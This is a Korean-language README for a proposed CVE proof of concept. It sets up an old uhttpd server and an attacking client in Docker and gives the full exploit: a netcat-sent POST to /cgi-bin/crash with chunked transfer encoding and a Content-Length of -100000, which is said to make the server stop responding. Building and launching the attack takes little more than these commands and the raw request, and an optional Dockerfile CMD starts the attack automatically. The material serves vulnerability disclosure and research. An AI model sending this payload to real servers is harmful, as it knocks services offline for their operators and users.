
이것은 첫 번째 제안된 CVE를 위한 코드입니다.
Docker 설치
서버 빌드 및 실행 cd Server docker build -t server/cve . docker run -d --name server -p 80:80 server/cve
서버 컨테이너 IP 가져오기 Linux sudo docker container inspect server | grep -i IPAddress Windows Powershell docker container inspect server | Select-String "IPAddress" IP를 추출하여 클라이언트 빌드 명령에 추가하십시오. 브라우저에서 localhost:80에 접속하여 서버를 확인할 수 있습니다.
클라이언트 빌드 및 실행 Client/Dockerfile에서 CMD의 주석을 해제하면 컨테이너가 시작될 때 공격이 자동으로 시작됩니다. cd ../Client/ docker build --build-arg server_ip=<SERVER_IP> -t client/cve . docker run -d -p 8080:8080 client/cve
CLient Docker에 연결 docker container ls find client/cve container && attach docker exec -it /bin/sh
준비가 되면 공격 실행 ./crash.sh
서버는 응답할 수 없게 됩니다.
익스플로잇이 매우 짧기 때문에 주석이 달린 소스 코드를 제공할 실익이 없습니다.
그런 다음 익스플로잇은 Netcat을 사용하여 cgi-bin/ 디렉터리의 파일 처리와 관련하여 서버에 음수의 큰 Content-Length를 가진 POST 요청을 보내는 것으로 구성됩니다.
실행은 간단한 netcat 스크립트를 통해 수행됩니다. 여기서는 서버의 CGI-bin 폴더에 있는 Crash라는 파일을 참조합니다. nc <SERVER_IP> < crash.poc
POST /cgi-bin/crash HTTP/1.0 Transfer-Encoding: chunked Content-Length: -100000
가장 큰 문제는 오래된 버전의 uhttpd를 최신 docker 환경에서 실행하려고 한 것이었습니다.